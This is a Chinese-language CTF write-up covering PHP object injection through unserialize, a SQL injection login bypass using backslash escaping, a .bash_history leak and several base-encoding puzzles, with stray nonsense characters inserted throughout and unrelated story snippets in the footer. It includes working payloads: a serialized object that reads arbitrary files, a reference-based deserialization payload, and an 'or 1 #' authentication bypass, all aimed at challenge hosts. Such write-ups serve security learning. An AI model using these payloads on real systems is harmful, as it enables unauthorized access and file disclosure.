這就是漏洞名稱的由來:在變量可控并且進行了unserialize操作的地方注入序列化對象楼雹,實現(xiàn)代碼執(zhí)行或者其它坑爹的行為。先不談 __wakeup__destruct尖阔,還有一些很常見的注入點允許你利用這個類型的漏洞烘豹,一切都是取決于程序邏輯。舉個例子诺祸,某用戶類定義了一個__toString為了讓應用程序能夠將類作為一個字符串輸出(echo $obj)携悯,而且其他類也可能定義了一個類允許__toString讀取某個文件。把下面這段代碼保存為test.php筷笨。

<?php   
// … 一些include ...  
class FileClass  
{  
    // 文件名  
    public $filename = 'error.log';  
  
    // 當對象被作為一個字符串會讀取這個文件  
    public function __toString()  
    {  
        return file_get_contents($this->filename);  
    }  
}  
   
// Main User class  
class User  
{  
    // Class data  
    public $age = 0;  
    public $name = '';  
   
    // 允許對象作為一個字符串輸出上面的data  
    public function __toString()  
    {  
        return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
    }  
}  
// 用戶可控  
$obj = unserialize($_GET['usr_serialized']);  
   
// 輸出__toString  
echo $obj;  
?> 

在代碼中需要傳入一個GET型變量usr_serialized憔鬼,于是當我們訪問http://192.168.153.138/test.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}這個URL時,將的到如下結果胃夏。

image

但是如果我們用序列化調用FileClass呢?先建立一個1.txt轴或。

image

創(chuàng)建利用代碼123.php。

<?php  
 
include 'test.php';  
$fileobj = new FileClass();  
$fileobj->filename = '1.txt';  
   
echo serialize($fileobj);  
   
?> 
image

訪問http://192.168.153.138/test.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}

image

成功顯示了文本內容仰禀。也可以使用其他magic函數(shù):如果對象將調用一個不存在的函數(shù)__call將被調用照雁;如果對象試圖訪問不存在的類變量__get__set將被調用。但是利用這種漏洞并不局限于magic函數(shù)答恶,在普通的函數(shù)上也可以采取相同的思路饺蚊。例如User類可能定義一個get方法來查找和打印一些用戶數(shù)據(jù),但是其他類可能定義一個從數(shù)據(jù)庫獲取數(shù)據(jù)的get方法悬嗓,這從而會導致SQL注入漏洞污呼。set或write方法會將數(shù)據(jù)寫入任意文件,可以利用它獲得遠程代碼執(zhí)行包竹。唯一的技術問題是注入點可用的類燕酷,但是一些框架或腳本具有自動加載的功能。最大的問題在于人:理解應用程序以能夠利用這種類型的漏洞周瞎,因為它可能需要大量的時間來閱讀和理解代碼苗缩。

PHP對象注入原文鏈接

將了PHP序列化及反序列化,我們在返回來看題目的內容声诸,題目中定義了一個對象just4fun酱讶,并且定義了兩個變量。

class just4fun {
    var $enter;
    var $secret;
}

其次介紹下get_magic_quotes_gpc()方法

get_magic_quotes_gpc函數(shù)是一個用來判斷是否為用戶提供的數(shù)據(jù)增加斜線了
get_magic_quotes_gpc函數(shù)介紹
取得 PHP 環(huán)境變數(shù) magic_quotes_gpc 的值双絮,屬于 PHP 系統(tǒng)功能浴麻。
語法: long get_magic_quotes_gpc(void);
返回值: 長整數(shù)
本函數(shù)取得 PHP 環(huán)境配置的變量 magic_quotes_gpc (GPC, Get/Post/Cookie) 值。返回 0 表示關閉本功能囤攀;返回 1 表示本功能打開软免。
當 magic_quotes_gpc 打開時,所有的 ‘ (單引號), ” (雙引號), (反斜線) and 空字符會自動轉為含有反斜線的溢出字符焚挠。
magic_quotes_gpc設置是否自動為GPC(get,post,cookie)傳來的數(shù)據(jù)中的'”加上反斜線膏萧。可以用get_magic_quotes_gpc()檢測系統(tǒng)設置蝌衔。
如果沒有打開這項設置榛泛,可以使用addslashes()函數(shù)添加,它的功能就是給數(shù)據(jù)庫查詢語句等的需要在某些字符前加上了反斜線噩斟。
這些字符是單引號(')曹锨、雙引號(”)、反斜線()與 NUL(NULL 字符)剃允。
默認情況下沛简,PHP 指令 magic_quotes_gpc 為 on,它主要是對所有的 GET斥废、POST 和 COOKIE 數(shù)據(jù)自動運行 addslashes()椒楣。
不要對已經被 magic_quotes_gpc 轉義過的字符串使用 addslashes(),因為這樣會導致雙層轉義牡肉。遇到這種情況時可以使用函數(shù) get_magic_quotes_gpc() 進行檢測捧灰。

addslashes()方法也能實現(xiàn)添加\

這里用來判斷該方法是否開啟,如果返回1统锤,表示默認進行了反斜杠添加毛俏。

stripslashes()函數(shù)的作用是刪除反斜杠

if(get_magic_quotes_gpc()){
    $pass=stripslashes($pass);
}

所以代碼的意思是如果添加了反斜杠,則將反斜杠\刪除饲窿。

$o = unserialize($pass)

然后將pass進行反序列化操作拧抖,并賦值給變量o

if ($o) {
    $o->secret = "*";
    if ($o->secret === $o->enter)
        echo "Congratulation! Here is my secret: ".$o->secret;
    else 
        echo "Oh no... You can't fool me";
}

如果對象o賦值成功,將對象o的secret變量設置為*免绿,并判斷對象o的secret變量和enter變量是否相等唧席,===判斷數(shù)值及屬性,如果相等輸出flag嘲驾。我們這里肯定不知道secret的值淌哟,要是知道的不用做題了。辽故。徒仓。所以我們想到了引用a=&b,我們寫一段測試代碼:其中在初始化的時候將$this->enter=&$this->secret進行引用

<?php 
class just4fun {
    var $enter;
    var $secret;
    function just4fun()
    {
    $this->enter=&$this->secret;
    }
    }
echo serialize(new just4fun());
?>

得到如下序列化字符串O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

構造如下payload即可得到flag:
http://115.28.150.176/php1/index.php?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

這里N表示NULL誊垢,R表示對象引用掉弛。

參考 PHP序列化格式詳解

a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
N 表示的是NULL症见,而b、d殃饿、i谋作、s 表示的是四種標量類型,目前其它語言所實現(xiàn)的PHP 序列化程序基本上都實現(xiàn)了對這些類型的序列化和反序列化乎芳,不過有一些實現(xiàn)中對s (字符串)的實現(xiàn)存在問題遵蚜。
a、O 屬于最常用的復合類型奈惑,大部分其他語言的實現(xiàn)都很好的實現(xiàn)了對a 的序列化和反序列化吭净,但對O 只實現(xiàn)了PHP4 中對象序列化格式,而沒有提供對PHP 5 中擴展的對象序列化格式的支持肴甸。
r寂殉、R 分別表示對象引用和指針引用,這兩個也比較有用原在,在序列化比較復雜的數(shù)組和對象時就會產生帶有這兩個標示的數(shù)據(jù)不撑,后面我們將詳細講解這兩個標示,目前這兩個標示尚沒有發(fā)現(xiàn)有其他語言的實現(xiàn)晤斩。
C 是PHP5 中引入的焕檬,它表示自定義的對象序列化方式,盡管這對于其它語言來說是沒有必要實現(xiàn)的澳泵,因為很少會用到它实愚,但是后面還是會對它進行詳細講解的。
U 是PHP6 中才引入的兔辅,它表示Unicode 編碼的字符串腊敲。因為PHP6 中提供了Unicode 方式保存字符串的能力,因此它提供了這種序列化字符串的格式维苔,不過這個類型PHP5碰辅、PHP4 都不支持,而這兩個版本目前是主流介时,因此在其它語言實現(xiàn)該類型時没宾,不推薦用它來進行序列化,不過可以實現(xiàn)它的反序列化過程沸柔。在后面我也會對它的格式進行說明循衰。
最后還有一個o,這也是我唯一還沒弄清楚的一個數(shù)據(jù)類型標示褐澎。這個標示在PHP3 中被引入用來序列化對象会钝,但是到了PHP4 以后就被O 取代了。在PHP3 的源代碼中可以看到對o 的序列化和反序列化與數(shù)組a基本上是一樣的工三。但是在PHP4迁酸、PHP5 和PHP6 的源代碼中序列化部分里都找不到它的影子先鱼,但是在這幾個版本的反序列化程序源代碼中卻都有對它的處理,不過把它處理成什么我還沒弄清楚奸鬓。因此對它暫時不再作更多說明了焙畔。

28.sql injection 4

題目:

<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
    if(get_magic_quotes_gpc()){
        $str=stripslashes($str);
    }
    return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}

echo $flag;
-->
Invalid password!

提示:

TIP:反斜杠可以用來轉義,仔細查看相關函數(shù)的用法

writeup:

通過代碼發(fā)現(xiàn)全蝶,需要傳入GET類型的username以及password闹蒜,首先調用了clean方法寺枉,在clean方法首先判斷是否開啟了添加反斜杠抑淫,如果添加了,使用stripslashes()刪除反斜杠姥闪,然后調用htmlentities()方法將把字符轉換為 HTML 實體,htmlentities($str, ENT_QUOTES); // 轉換雙引號和單引號

比如我們對字符串"<script>"使用htmlentities函數(shù)始苇,字符串"<script>"將被轉化為"&lt;script&gt;",將"<"和“>”轉換為HTML實體,可以防止瀏覽器將它們作為HTML元素的一部分被解釋或運行(經常使用在用戶提交表單數(shù)據(jù)的時候)筐喳。

htmlentities($str, ENT_COMPAT); // 只轉換雙引號
htmlentities($str, ENT_QUOTES); // 轉換雙引號和單引號
htmlentities($str, ENT_NOQUOTES); // 不轉換任何引號

關鍵的語句在這里
'SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'

首先分析一下所有的單引號催式,因為帶反斜杠的單引號,被轉義為字符了避归,無法參與閉合操作荣月,所以這條SQL語句將會這樣閉合

<font color=#FF0000 size=3>'</font>SELECT * FROM users WHERE name='<font color=#FF0000 size=3>'</font>+username+<font color=#D02090 size=3>'</font>' AND pass='<font color=#D02090 size=3>'</font> + password + <font color=#32CD32 size=3>'</font>';<font color=#32CD32 size=3>'</font>

按照顏色進行單引號的閉合操作,假設我們傳入的username=admin&password=123梳毙,傳入mysql的sql語句將會是:

SELECT * FROM users WHERE name='admin' AND pass='123'

在數(shù)據(jù)庫中反斜杠將會被過濾掉哺窄,只剩下需要轉移的單引號!账锹,其他單引號用于字符串的拼接萌业。

下一步我們考慮的是將單引號閉合

代碼中使用了htmlentities對單引號進行了轉換,所以我們不能通過單引號來閉合sql語句了奸柬,根據(jù)提示生年,可以通過反斜杠來吃掉單引號,即對單引號進行轉義廓奕,下面我們來一步一步構造SQL語句

當我們輸入username=admin&password=123時抱婉,會將username后的單引號進行轉義,構造語句如下:

SELECT * FROM users WHERE name=<font color=#FF0000 size=3>'</font>admin' AND pass=<font color=#FF0000 size=3>'</font>123'

在mysql查詢語句中轉義字符不參與閉合桌粉,所以第一個單引號將和第三個單引號進行閉合授段,然后使用
username=admin&password=or 1 %23,即可繞過番甩,SQL語句如下:

SELECT * FROM users WHERE name=<font color=#FF0000 size=3>'</font>admin' AND pass=<font color=#FF0000 size=3>'</font> or 1 #'

得到flag侵贵!

image

29.綜合題

題目:

image

提示:bash

writeup:

發(fā)現(xiàn)jsfuck編碼,可使用瀏覽器控制臺直接解密缘薛,也可使用在線JSfuck解密工具窍育,解碼的到1bc29b36f623ba82aaf6724fd3b16718.php卡睦,發(fā)現(xiàn)文件名是md5加密的值,解碼得到:md5,訪問http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/md5.php發(fā)現(xiàn)文件不存在漱抓,直接訪問下試試表锻,上當了,什么都沒有乞娄。瞬逊。。仪或。

image
image

說提示在我腦袋里确镊,在文件的header里發(fā)現(xiàn)了history of bash

[圖片上傳失敗...(image-d1373c-1522115975520)]

Bash shell在“~/.bash_history”(“~/”表示用戶目錄)文件中保存了500條使用過的命令,這樣能使你輸入使用過的長命令變得容易范删。每個在系統(tǒng)中擁有賬號的用戶在他的目錄下都有一個“.bash_history”文件蕾域。

所以我們訪問一下.bash_history

image

在bash_history中記錄了執(zhí)行壓縮包的操作,所以我們訪問以下flagbak.zip

http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/flagbak.zip

開始自動下載文件到旦,打開后得到flag旨巷!

30.system

題目:

密碼學


1.easy!

題目:

密文:bmN0Znt0aGlzX2lzX2Jhc2U2NF9lbmNvZGV9
這題做不出來就剁手吧!

writeup:

使用python腳本進行base64解密添忘,代碼如下:

#!/usr/bin/python
# -*- coding: utf-8 -*-
import base64

print base64.b64decode('bmN0Znt0aGlzX2lzX2Jhc2U2NF9lbmNvZGV9')

得到flag:
nctf{thisxxxxxxxxxxxxxxcode}

2.KeyBoard

題目:

看鍵盤看鍵盤看鍵盤采呐!
答案非標準格式,提交前加上nctf{}

ytfvbhn tgbgy hjuygbn yhnmki tgvhn uygbnjm uygbn yhnijm

writeup:

根搁骑、據(jù)提示斧吐,在鍵盤上找到字母順序宵睦,ytfvbhnπ成了字母a帝璧,tgbgy是字母r,以此類推性雄,得到flag娄周!

3.base64全家桶

題目:

全家桶全家桶全家桶涕侈!
我怎么餓了。煤辨。裳涛。。众辨。端三。
密文(解密前刪除回車):

R1pDVE1NWlhHUTNETU4yQ0dZWkRNTUpYR00zREtNWldHTTJES1JSV0dJM0RDTlpUR1kyVEdNWlRHSTJVTU5SUkdaQ1RNTkJWSVkzREVOUlJHNFpUTU5KVEdFWlRNTjJF

writeup:

提示全家桶,估計是各種base加密鹃彻,首先科普一下base加密:

base64:
它是用包括大小寫字母各26個郊闯,加上10個數(shù)字,和加號“+”,斜杠“/”团赁,一共64個字符來表示所有的ascii字符育拨。
原理: 3個字符為一組(三組),將字符ascii編碼以二進制表示出來(就有24比特),由于2的6次方等于64,所以每6個比特又重新為一個組(這時候為四組),然后將每一組又轉化為10進制,然后根據(jù)索引表,實現(xiàn)了編碼。

base64編碼是用64(2的6次方)個ASCII字符來表示256(2的8次方)個ASCII字符欢摄,也就是三位二進制數(shù)組經過編碼后變?yōu)樗奈坏腁SCII字符顯示熬丧,長度比原來增加1/3。

base32就是用32(2的5次方)個特定ASCII碼來表示256個ASCII碼怀挠。所以析蝴,5個ASCII字符經過base32編碼后會變?yōu)?個字符(公約數(shù)為40),長度增加3/5.不足8n用“=”補足绿淋。

base16就是用16(2的4次方)個特定ASCII碼表示256個ASCII字符闷畸。1個ASCII字符經過base16編碼后會變?yōu)?個字符,長度增加一倍躬它。不足2n用“=”補足

<font color='#FF00FF'>在base家族中腾啥,有小寫的是base64东涡,沒有189的是base32冯吓。</font>

  1. base64中包含大寫字母(A-Z)、小寫字母(a-z)疮跑、數(shù)字0——9以及+/组贺;
  2. base32中只有大寫字母(A-Z)和數(shù)字234567
  3. base16中只有數(shù)字0-9以及大寫字母ABCDEF。

所以祖娘,本題首先進行base64解碼失尖,再進行base32解碼,再進行base16解碼渐苏,得到flag掀潮,python代碼如下:

print base64.b64decode('R1pDVE1NWlhHUTNETU4yQ0dZWkRNTUpYR00zREtNWldHTTJES1JSV0dJM0RDTlpUR1kyVEdNWlRHSTJVTU5SUkdaQ1RNTkJWSVkzREVOUlJHNFpUTU5KVEdFWlRNTjJF')
print base64.b32decode('GZCTMMZXGQ3DMN2CGYZDMMJXGM3DKMZWGM2DKRRWGI3DCNZTGY2TGMZTGI2UMNRRGZCTMNBVIY3DENRRG4ZTMNJTGEZTMN2E')
print base64.b16decode('6E6374667B6261736536345F6261736533325F616E645F6261736531367D')

4.n次base64

題目:

依然是base64
不過。琼富。仪吧。編碼次數(shù)有點多
請用python解吧~

Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVMjA1VjAxV2JETlhhMk0xVmpKS1NHVkVRbUZXVmxsM1ZtcEJlRll5U2tWVWJHaG9UVlZ3VlZacVFtRlRNbEpJVm10a1dHSkdjSEJXYTFwaFpWWmFkRTFVVWxSTmF6RTFWa2QwYzJGc1NuUmhSemxWVmpOT00xcFZXbUZrUjA1R1drWlNUbUpGY0VwV2JURXdZVEZrU0ZOclpHcFNWR3hoV1d4U1IyUnNXbGRYYlhSWFRWaENSbFpYZUhkV01ERkZVbFJDVjAxdVVuWldha3BIVmpGT2RWVnNXbWhsYlhob1ZtMXdUMkl5UmtkalJtUllZbGhTV0ZSV2FFTlNiRnBZWlVoa1YwMUVSa1pWYkZKRFZqSkdjbUV6YUZaaGExcG9WakJhVDJOdFJrZFhiV2hzWWxob2IxWnRNWGRVTVZWNVVtdGtWMWRIYUZsWmJGWmhZMVphZEdONlJteFNiSEJaV2xWb2ExWXdNVVZTYTFwV1lrWktSRlpxU2tabFZsSlpZVVprVTFKV2NIbFdWRUpoVkRKT2MyTkZhR3BTYkVwVVZteG9RMWRzV25KWGJHUmFWakZHTkZaSGRHdFdiVXBIVjJ4U1dtSkhhRlJXTUZwVFZqRmtkRkp0ZUZkaVZrbzFWbXBLTkZReFdsaFRiRnBxVWxkU1lWUlZXbmRsYkZweFVtMUdUMkpGV2xwWlZWcHJWVEZLVjJOSWJGZFdSVXBvVmtSS1QyUkdTbkphUm1ocFZqTm9WVmRXVWs5Uk1XUkhWMjVTVGxaRlNsaFVWbVEwVjBaYVdHUkhkRmhTTUhCSlZsZDRjMWR0U2toaFJsSlhUVVp3VkZacVNrZFNiRkp6Vlcxc1UwMHhSalpXYWtvd1ZURlZlRmR1U2s1WFJYQnhWVzB4YjFZeFVsaE9WemxzWWtad2VGVnRNVWRVTWtwR1YyeHdXbFpXY0hKV1ZFWkxWMVpHY21KR1pHbFhSVXBKVm10U1MxVXhXWGhXYmxaV1lsaENWRmxyVm5kV1ZscDBaVWM1VWsxWFVucFdNV2h2VjBkS1JrNVdVbFZXTTJoSVZHdGFjMk5zWkhSa1IyaHBVbGhCZDFkV1ZtOVVNVnAwVTJ4V1YyRXhTbUZhVjNSaFYwWndSbFpZYUZkTlZrcDVWR3hhVDJGV1NuUlBWRTVYVFc1b1dGbHFTa1psUm1SWldrVTFWMVpzY0ZWWFZsSkhaREZrUjJKSVRtaFNlbXhQVkZaYWQyVkdWblJsU0dScFVqQndWMVl5ZEhkV01ERnhVbXRvVjFaRldreFdNVnBIWTIxS1IxcEdaRTVOUlhCS1ZtMTBVMU14VlhoWFdHaGhVMFphVmxscldrdGpSbHB4VkcwNWEySkhVbnBYYTFKVFYyeFpkMkpFVWxkTmFsWlVWa2Q0WVZKc1RuTmhSbkJZVTBWS1NWWnFRbUZXYlZaWVZXdG9hMUp0YUZSWmJGcExVMnhrVjFadFJtcE5WMUl3Vld4b2MyRkdTbGRUYlVaaFZqTlNhRmxWV25OT2JFcHpXa2R3YVZORlNrbFdiR040WXpGVmQwMUliR2hTYlhoWVdXeG9RMVJHVW5KYVJWcHNVbTFTZWxsVldsTmhSVEZ6VTI1b1YxWjZSVEJhUkVaclVqSktTVlJ0YUZObGJYaFFWa1phWVdReVZrZFdibEpPVmxkU1YxUlhkSGRXTVd4eVZXMUdXRkl3VmpSWk1HaExWMnhhV0ZWclpHRldWMUpRVldwS1MxSXlSa2hoUlRWWFltdEtNbFp0TVRCVk1VMTRWVzVTVjJKSFVsVlpiWFIzWWpGV2NWTnRPVmRTYlhoYVdUQmFhMkV3TVZkalJteGhWbGROTVZaWGMzaGpNVTUxWTBaa1RtRnNXbFZXYTJRMFV6RktjMXBJVmxSaVJscFlXV3RhZG1Wc1drZFdiVVphVmpGS1IxUnNXbUZWUmxsNVlVaENWbUpIYUVSVWJYaHJWbFpHZEZKdGNFNVdNVWwzVmxkNGIyTXlSa2RUYkdSVVlsVmFWbFp1Y0Zka2JGcHlWMjFHYWxacmNEQmFSV1F3VlRKRmVsRllaRmhpUmxwb1dWUktSMVl4VG5OYVIyaE9UV3hLV1ZkWGVHOVJNVTE0WTBaYVdHRXpRbk5WYlRGVFpXeHNWbGRzVG1oV2EzQXhWVmMxYjFZeFdYcGhTRXBYVmtWYWVsWnFSbGRqTVdSellVZG9UazFWY0RKV2JHTjRUa2RSZVZaclpGZGlSMUp2Vlc1d2MySXhVbGRYYm1Sc1ZteHNOVlJzYUd0V01rcEhZa1JhV2xaV1NsQldNakZHWlZaV2NscEhSbGRXTVVwUlZsUkNWazVXV1hsU2EyaG9VbFJXV0ZsdGRFdE5iRnAwVFZSQ1ZrMVZNVFJXVnpWVFZqSktTRlZzV2xwaVdGSXpXV3BHVjJOV1RuUlBWbVJUWWxob1lWZFVRbUZoTVZwelUyNU9hbEp0ZUZaV2JGcExVMFphV0dNemFGaFNiRnA1V1ZWYWExUnRSbk5YYkZaWFlUSlJNRmxVUms5U01WcDFWR3hvYVZKc2NGbFhWM1JoWkRGa1YxZHJhR3hTTUZwaFZtcEdTMUl4VW5OWGJVWldVbXhzTlZsVldsTldNa1Y0VjJ0MFZWWnNjSEpaZWtaaFpFVTVWMVpyTlZkaWEwWXpWbXhqZDAxV1RYaFZXR2hZWW1zMVZWbHNWbUZXYkZwMFpVaGtUazFXY0hsV01qRkhZV3hhY21ORVJsaGhNWEJRVmtkNFlXTnRUa1ZYYkdST1lteEtlVmRZY0VkV2JWWlhWRzVXVkdKRk5XOVpXSEJYVjFaa1YxVnJaR3ROYTFwSVdXdGFiMkZ0Vm5KWGJHaFZWbTFTVkZZeWVHdGpiRnBWVW14b1UyRXpRbUZXVm1NeFlqRlplRmRxV2xKWFIyaFhWbXRXWVdWc1duRlNiWFJyVm14S01GVnRlRTloUjFaelYyeGtWMkpIVGpSVWEyUlNaVlphY2xwR1pGaFNNMmg1Vmxkd1ExbFhUa2RXYmxKc1UwZFNjMWxyV2xkT1ZsSnpXWHBXVjAxRVJsaFphMUpoVjJ4YVYyTklXbGROYm1ob1ZtcEdZV05XVm5OYVJUVlhZbXRLU2xZeGFIZFNNVmw1VkZoc1UyRXlhSEJWYlhNeFkwWnNWVkZ1WkU1aVJuQXdXbFZqTldFd01WWk5WRkpYWWtkb2RsWXdXbXRUUjBaSFlVWndhVmRIYUc5V2JURTBZekpPYzFwSVZtRlNNMEpVV1d0YWQwNUdXbGhOVkVKT1VteHNORll5TlZOV2JVcElaVWRvVm1KSFVsUlZNRnBoWTFaT2NscEZPV2xTV0VJMlZtdGtORmxXVlhsVGExcFlWMGhDV0Zac1duZFNNVkY0VjJ0T1ZtSkZTbFpVVlZGM1VGRTlQUT09

writeup:

使用python進行解碼:a1為密碼

while(1):
    a1 = base64.b64decode(a1)
    print a1
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市鞠眉,隨后出現(xiàn)的幾起案子薯鼠,更是在濱河造成了極大的恐慌,老刑警劉巖械蹋,帶你破解...
    沈念sama閱讀 206,968評論 6 482
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件出皇,死亡現(xiàn)場離奇詭異,居然都是意外死亡哗戈,警方通過查閱死者的電腦和手機郊艘,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,601評論 2 382
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人纱注,你說我怎么就攤上這事步做。” “怎么了奈附?”我有些...
    開封第一講書人閱讀 153,220評論 0 344
  • 文/不壞的土叔 我叫張陵全度,是天一觀的道長。 經常有香客問我斥滤,道長将鸵,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,416評論 1 279
  • 正文 為了忘掉前任佑颇,我火速辦了婚禮顶掉,結果婚禮上,老公的妹妹穿的比我還像新娘挑胸。我一直安慰自己痒筒,他們只是感情好,可當我...
    茶點故事閱讀 64,425評論 5 374
  • 文/花漫 我一把揭開白布茬贵。 她就那樣靜靜地躺著簿透,像睡著了一般。 火紅的嫁衣襯著肌膚如雪解藻。 梳的紋絲不亂的頭發(fā)上老充,一...
    開封第一講書人閱讀 49,144評論 1 285
  • 那天,我揣著相機與錄音螟左,去河邊找鬼啡浊。 笑死,一個胖子當著我的面吹牛胶背,可吹牛的內容都是我干的巷嚣。 我是一名探鬼主播,決...
    沈念sama閱讀 38,432評論 3 401
  • 文/蒼蘭香墨 我猛地睜開眼钳吟,長吁一口氣:“原來是場噩夢啊……” “哼廷粒!你這毒婦竟也來了?” 一聲冷哼從身側響起砸抛,我...
    開封第一講書人閱讀 37,088評論 0 261
  • 序言:老撾萬榮一對情侶失蹤评雌,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后直焙,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體景东,經...
    沈念sama閱讀 43,586評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 36,028評論 2 325
  • 正文 我和宋清朗相戀三年奔誓,在試婚紗的時候發(fā)現(xiàn)自己被綠了斤吐。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片搔涝。...
    茶點故事閱讀 38,137評論 1 334
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖和措,靈堂內的尸體忽然破棺而出庄呈,到底是詐尸還是另有隱情,我是刑警寧澤派阱,帶...
    沈念sama閱讀 33,783評論 4 324
  • 正文 年R本政府宣布诬留,位于F島的核電站,受9級特大地震影響贫母,放射性物質發(fā)生泄漏文兑。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 39,343評論 3 307
  • 文/蒙蒙 一腺劣、第九天 我趴在偏房一處隱蔽的房頂上張望绿贞。 院中可真熱鬧,春花似錦橘原、人聲如沸籍铁。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,333評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽拒名。三九已至,卻和暖如春歼冰,著一層夾襖步出監(jiān)牢的瞬間靡狞,已是汗流浹背耻警。 一陣腳步聲響...
    開封第一講書人閱讀 31,559評論 1 262
  • 我被黑心中介騙來泰國打工隔嫡, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人甘穿。 一個月前我還...
    沈念sama閱讀 45,595評論 2 355
  • 正文 我出身青樓腮恩,卻偏偏與公主長得像,于是被迫代替她去往敵國和親温兼。 傳聞我的和親對象是個殘疾皇子秸滴,可洞房花燭夜當晚...
    茶點故事閱讀 42,901評論 2 345

推薦閱讀更多精彩內容

  • 我使用的是火狐瀏覽器 使用火狐瀏覽器的hackbar插件 如果有錯誤的地方希望大家多多指出,多謝多謝 WEB2 點...
    yangc隨想閱讀 54,236評論 11 16
  • WEB2 看源代碼得flag 文件上傳測試 找一張圖片上傳募判,截包改后綴名為.php得flag 計算題 F12修改輸...
    a2dd56f6ad89閱讀 18,492評論 0 2
  • 抽空整理了一下CGCTF平臺的Web題的writeup荡含。 0x01 簽到題(題目地址:http://chinal...
    ch3ckr閱讀 12,976評論 0 6
  • 官網 中文版本 好的網站 Content-type: text/htmlBASH Section: User ...
    不排版閱讀 4,367評論 0 5
  • 老夫聊發(fā)少年狂,左擎水届垫,右提糧释液,緊衣束帶,一騎踏山岡装处。為報傾城隨老叟误债,奪獎牌,沒商量。心寬膽大肺也張寝蹈,鬢微霜李命,又何...
    陳老刀閱讀 337評論 0 0